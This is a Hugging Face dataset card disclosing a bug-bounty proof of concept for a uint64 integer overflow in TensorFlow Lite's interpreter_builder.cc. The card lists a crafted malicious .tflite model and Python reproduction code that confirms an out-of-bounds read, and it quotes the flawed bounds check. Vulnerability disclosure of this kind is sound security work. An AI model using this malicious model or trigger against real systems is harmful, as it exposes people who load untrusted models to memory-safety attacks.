CoolFace
Datasetpublic

wulonchia/tflite-buffer-offset-overflow-poc

TFLite Buffer.offset uint64 Integer Overflow → OOB Read PoC Target: TensorFlow Lite (Google)Vulnerability: interpreter_builder.cc:671 — unchecked uint64_t additionImpact: Out-of-bounds read; confirmed OOB pointer dereference (4 bytes before mmap base)Bounty: Huntr Model Format Vulnerability Program Files evil_buffer_offset_overflow.tflite — malicious model triggering the vulnerability build_poc.py — script to rebuild the PoC Reproduction import… See the full description on the dataset page: https://huggingface.co/datasets/wulonchia/tflite-buffer-offset-overflow-poc.

sourceHugging Faceupdated 3mo agoView on Hugging Face
0likes8downloads
Dataset Card

TFLite Buffer.offset uint64 Integer Overflow → OOB Read PoC

Target: TensorFlow Lite (Google) Vulnerability: interpreter_builder.cc:671 — unchecked uint64_t addition Impact: Out-of-bounds read; confirmed OOB pointer dereference (4 bytes before mmap base) Bounty: Huntr Model Format Vulnerability Program

Files

  • evil_buffer_offset_overflow.tflite — malicious model triggering the vulnerability
  • build_poc.py — script to rebuild the PoC

Reproduction

python
import tensorflow as tf, numpy as np, warnings
warnings.filterwarnings('ignore')

interp = tf.lite.Interpreter(
    model_path='evil_buffer_offset_overflow.tflite',
    experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_WITHOUT_DEFAULT_DELEGATES
)
interp.allocate_tensors()
arr = interp.tensor(1)()
ptr = arr.ctypes.data
mmap_base = (ptr - 0xFFFFFFFFFFFFFFFC) % (2**64)
print(f"OOB confirmed: tensor ptr 0x{ptr:X} is {mmap_base - ptr} bytes before mmap base 0x{mmap_base:X}")

Root Cause

tensorflow/lite/core/interpreter_builder.cc:671:

cpp
if (offset + buffer->size() > allocation_->bytes())  // ← uint64 overflow, no check